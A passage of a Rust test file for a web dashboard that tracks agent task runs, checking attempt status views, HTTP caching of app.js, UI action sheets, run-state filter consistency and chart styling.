16926 write_run(&runs, run_b, RunStatus::Implementing);
16927 let mut t3 = Task::new(
16928 "retrying".to_owned(),
16929 "do it".to_owned(),
16930 PathBuf::from("/repo"),
16931 Source::Human,
16932 );
16933 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
16934 q.put(&mut t3).expect("put");
16935 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
16936 assert_eq!(view3["latest_attempt"]["id"], run_b);
16937 assert_eq!(view3["latest_attempt"]["resolved"], false);
16938 assert_eq!(view3["latest_attempt"]["done"], false);
16939
16940 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
16945 write_run(&runs, noop_a, RunStatus::Blocked);
16946 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
16947 let mut t2 = Task::new(
16948 "claims done".to_owned(),
16949 "do it".to_owned(),
16950 PathBuf::from("/repo"),
16951 Source::Human,
16952 );
16953 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
16954 q.put(&mut t2).expect("put");
16955 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
16956 assert_eq!(
16957 view2["latest_attempt"]["resolved"], false,
16958 "an unverified no-op claim must not read as a confirmed finish"
16959 );
16960
16961 assert!(APP_JS.contains("latest.resolved"));
16964 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
16967 assert!(APP_JS.contains("Latest attempt: "));
16968 assert!(APP_JS.contains("in flight"));
16969 assert!(APP_JS.contains("not resolved"));
16970 }
16971
16972 #[tokio::test]
16973 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
16974 let fx = Fixture::start().await;
16975 let js = fx.get("/app.js").await;
16981 assert_eq!(js.status, 200);
16982 let tag = js
16983 .header("etag")
16984 .expect("an etag to revalidate against")
16985 .to_owned();
16986 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
16987 assert_eq!(
16988 js.header("cache-control"),
16989 Some("no-cache, must-revalidate"),
16990 "the phone has to ask every time"
16991 );
16992
16993 let again = fx
16996 .get_with("/app.js", &[("if-none-match", tag.as_str())])
16997 .await;
16998 assert_eq!(
16999 again.status, 304,
17000 "a deck it already has costs one round trip"
17001 );
17002 assert!(again.body.is_empty(), "304 carries no body");
17003
17004 let weak = fx
17007 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
17008 .await;
17009 assert_eq!(weak.status, 304);
17010 let stale = fx
17011 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
17012 .await;
17013 assert_eq!(stale.status, 200, "an older build must be replaced");
17014 assert!(stale.body.contains("renderRunActions"));
17015 }
17016
17017 #[test]
17018 fn the_task_detail_has_an_actions_fab_and_sheet() {
17019 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
17020 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
17021 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
17022 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
17024 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
17025 assert!(APP_JS.contains("renderTaskActions(task);"));
17027 assert!(APP_JS.contains("renderTaskActions(null);"));
17028 let sheet = APP_JS
17030 .find("function renderTaskActions")
17031 .expect("sheet renderer");
17032 let body = &APP_JS[sheet..sheet + 3000];
17033 assert!(body.contains("changePriority("));
17034 assert!(body.contains("openTaskEdit(task)"));
17035 assert!(body.contains("renderTaskHoldBox(host"));
17036 assert!(body.contains("renderTaskDoneBox(host"));
17037 assert!(body.contains("renderTaskDeleteBox(host"));
17038 assert!(APP_JS.contains("API.priority(id)"));
17039 assert!(APP_JS.contains("API.deleteTask(id)"));
17040 assert!(APP_JS.contains("location.hash = \"#/queue\""));
17042 assert!(APP_JS.contains("$(\"task-actions-error\")"));
17044 }
17045
17046 #[test]
17047 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
17048 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
17049 let actions = INDEX_HTML
17050 .find("id=\"run-actions-box\"")
17051 .expect("actions box");
17052 assert!(task < actions, "the task entry comes first in the sheet");
17053 assert!(APP_JS.contains("renderRunTaskEntry"));
17054 assert!(APP_JS.contains("\"Open task \""));
17055 assert!(APP_JS.contains("started directly, no task"));
17057 assert!(APP_JS.contains("sheet-task-link"));
17058 assert!(APP_JS.contains("task-chip-link"));
17059 }
17060
17061 #[test]
17062 fn the_deck_never_sends_the_operator_to_a_terminal() {
17063 assert!(
17066 !APP_JS.contains("Run `magi fold` first"),
17067 "the deck must offer the fold, not prescribe a shell command"
17068 );
17069 assert!(APP_JS.contains("foldRun:"));
17070 assert!(APP_JS.contains("resumeRun:"));
17071 assert!(APP_JS.contains("renderRunActions"));
17072
17073 assert!(APP_JS.contains("armedFold"));
17075 assert!(APP_JS.contains("Yes, fold worktrees"));
17076
17077 assert!(APP_JS.contains("can no longer be resumed"));
17080 }
17081
17082 #[test]
17083 fn a_finished_run_explains_itself_with_its_own_last_line() {
17084 assert!(
17090 !APP_JS.contains("collapsed on agent quota"),
17091 "a stall must not be explained by a cause the deck did not check"
17092 );
17093 assert!(
17094 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
17095 "and a block must not offer a guess with an `or` in it"
17096 );
17097
17098 assert!(
17102 APP_JS.contains("setText(r.event, run.event || \"\")"),
17103 "the run's last line is rendered unconditionally"
17104 );
17105 assert!(
17106 !APP_JS.contains("moving && run.event"),
17107 "and never gated on the run still moving"
17108 );
17109
17110 assert!(APP_JS.contains("lost to quota"));
17112 }
17113
17114 #[test]
17136 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
17137 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
17138 let shapes_body_start =
17139 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
17140 let shapes_close = APP_JS[shapes_body_start..]
17141 .find("].map(")
17142 .expect("the shape list is closed by its done-computing .map(...)")
17143 + shapes_body_start;
17144 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
17145
17146 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
17147 for entry in shapes_src.split('{').skip(1) {
17148 let waiting = entry.contains("waiting: true");
17149 let dead = entry.contains("live: \"dead\"");
17150 let status_at =
17151 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
17152 let status_end = entry[status_at..]
17153 .find('"')
17154 .expect("the status string is closed")
17155 + status_at;
17156 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
17157 }
17158 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
17159
17160 let done_rule_marker = "done: !";
17164 let done_rule_at = APP_JS[shapes_close..]
17165 .find(done_rule_marker)
17166 .expect("the done rule follows the shape list")
17167 + shapes_close
17168 + done_rule_marker.len();
17169 let includes_at = APP_JS[done_rule_at..]
17170 .find(".includes(shape.status)")
17171 .expect("the done rule ends in .includes(shape.status)")
17172 + done_rule_at;
17173 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
17174 .trim()
17175 .trim_start_matches('[')
17176 .trim_end_matches(']')
17177 .split(',')
17178 .map(|s| s.trim().trim_matches('"'))
17179 .filter(|s| !s.is_empty())
17180 .collect();
17181
17182 let shapes: Vec<(bool, String, bool, bool)> = shapes
17183 .into_iter()
17184 .map(|(waiting, status, dead)| {
17185 let done = !not_done.contains(&status.as_str());
17186 (waiting, status, dead, done)
17187 })
17188 .collect();
17189
17190 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
17194 if waiting {
17195 return "waiting";
17196 }
17197 if dead
17198 && !matches!(
17199 status,
17200 "merged"
17201 | "ready"
17202 | "stalled"
17203 | "blocked"
17204 | "failed"
17205 | "verified_noop"
17206 | "superseded"
17207 | "already_in_base"
17208 )
17209 {
17210 return "stale";
17211 }
17212 match status {
17213 "merged" | "ready" => "landed",
17214 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
17215 | "already_in_base" => "ended",
17216 _ => "flight",
17217 }
17218 }
17219
17220 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
17223 match filter_key {
17224 "active" => !done,
17225 "flight" => !done && !waiting && !dead,
17226 "stale" => !done && !waiting && dead,
17227 "waiting" => waiting,
17228 "done" => done,
17229 "all" => true,
17230 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
17231 }
17232 }
17233
17234 let compatible = |section: &str, filter_key: &str| {
17235 shapes.iter().any(|(waiting, status, dead, done)| {
17236 run_section(*waiting, status, *dead) == section
17237 && filter_matches(filter_key, *waiting, *dead, *done)
17238 })
17239 };
17240
17241 let expected = [
17246 ("waiting", [true, false, false, true, true, true]),
17247 ("stale", [true, false, true, false, false, true]),
17248 ("flight", [true, true, false, false, false, true]),
17249 ("landed", [false, false, false, false, true, true]),
17250 ("ended", [false, false, false, false, true, true]),
17251 ];
17252 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
17253
17254 for (section, wants) in expected {
17255 for (filter_key, want) in filter_keys.iter().zip(wants) {
17256 assert_eq!(
17257 compatible(section, filter_key),
17258 want,
17259 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
17260 );
17261 }
17262 }
17263
17264 assert!(
17267 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
17268 );
17269 assert!(APP_JS.contains(
17270 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
17271 ));
17272 assert!(APP_JS.contains(
17273 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
17274 ));
17275 }
17276
17277 #[tokio::test]
17278 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
17279 let dir = tempfile::tempdir().expect("tempdir");
17283 let explicit = dir.path().join("not-a-checkout");
17284 std::fs::create_dir_all(&explicit).expect("create dir");
17285 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
17286
17287 let missing = dir.path().join("does-not-exist-at-all");
17288 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
17289 }
17290
17291 #[test]
17292 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
17293 assert!(APP_JS.contains("function statsDonutArcs"));
17294 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
17295 assert!(APP_JS.contains("function statusInBucket"));
17297 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
17298 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
17299 let buckets = [
17300 "merged",
17301 "ready",
17302 "in_progress",
17303 "blocked",
17304 "failed",
17305 "verified_noop",
17306 "superseded",
17307 "stalled",
17308 ];
17309 for key in buckets {
17310 let var = format!("--verdict-{key}:");
17311 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
17313 assert!(
17314 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
17315 "{key}"
17316 );
17317 }
17318 }
17319}